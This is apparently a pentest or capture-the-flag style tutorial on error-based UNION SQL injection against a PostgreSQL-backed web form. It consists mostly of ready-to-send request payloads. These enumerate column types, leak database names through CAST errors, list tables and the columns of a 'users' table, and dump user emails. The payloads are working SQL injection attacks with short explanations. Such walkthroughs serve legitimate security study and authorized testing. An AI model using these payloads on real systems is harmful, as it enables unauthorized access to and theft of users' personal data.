Postgresql Enumeration

🗂 Find Number of Columns (using Errors)

PostgreSQL requires a special enumeration, since it is more strict than mysql

We’ll use the NULL to bruteforce and find the type of columns, we start with the first column testing both int, char and timestamp and continue until the last column

' UNION SELECT 1,NULL,NULL-- 
' UNION SELECT 'a',NULL,NULL-- 
' UNION SELECT Now(),NULL,NULL-- 

🏛Enumerate the Database (using Errors)

List Databases

When we have no output while trying to display the columns, we’ll use errors for that

weight=5&height=5' UNION SELECT 'a',cast(current_database() as int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

we now for sure that current_database() returns a string, so we’ll cast it to int to get an error showing the string

alt text

We can also use this payload (but not that practical)

weight=5&height=5' UNION SELECT 'a',CAST((SELECT datname FROM pg_database LIMIT 1 OFFSET 0) AS integer),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text

Let’s break this down:

1. 'postgres' comes from:

sql

CopyEdit

SELECT datname FROM pg_database LIMIT 1 OFFSET 0

This is not the current database, it’s the first listed database in the PostgreSQL cluster.

🔍 pg_database is a system table that holds all databases, including:

  • postgres

  • template0

  • template1

  • and any user-created ones (like glovdb)

So this is just pulling from the list of available databases, ordered by internal OID.

2. 'glovdb' comes from:

sql

CopyEdit

SELECT current_database()

This returns the name of the currently connected database — i.e., the database your web app is actually using.

✅ It reflects the real target database behind the application.

🧠 Summary: Key Difference

QueryWhat it Returns
SELECT current_database()🔥 Currently connected database — the one the app is using (e.g. glovdb)
SELECT datname FROM pg_database📋 All databases on the server, starting with the one that has the lowest OID (often postgres)

when using this payload (with ID number 3) we get the glovdb database, which is our current target database

weight=5&height=5' UNION SELECT 'a',CAST((SELECT datname FROM pg_database LIMIT 1 OFFSET 3) AS integer),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text

List Tables

weight=5&height=5' UNION SELECT 'a',CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public') AS int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text

for other rows:

weight=5&height=5' UNION SELECT 'a',CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT  1 OFFSET 0) AS int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

➡️ What this does:

  • LIMIT 1 OFFSET 0 → leaks the first table

  • LIMIT 1 OFFSET 1 → leaks the second

  • LIMIT 1 OFFSET 2 → third

  • …and so on

List Columns

weight=5&height=5' UNION SELECT 'a',CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT  1 OFFSET 0) AS int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text

looking at the next column

weight=5&height=5' UNION SELECT 'a',CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT  1 OFFSET 1) AS int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text

📥 Dump Data (Using Errors)

weight=5&height=5' UNION SELECT 'a',CAST((SELECT email FROM users LIMIT  1 OFFSET 0) AS int),3,'d','e',NULL--  &age=5&gender=Male&email=test%40gmail.com

alt text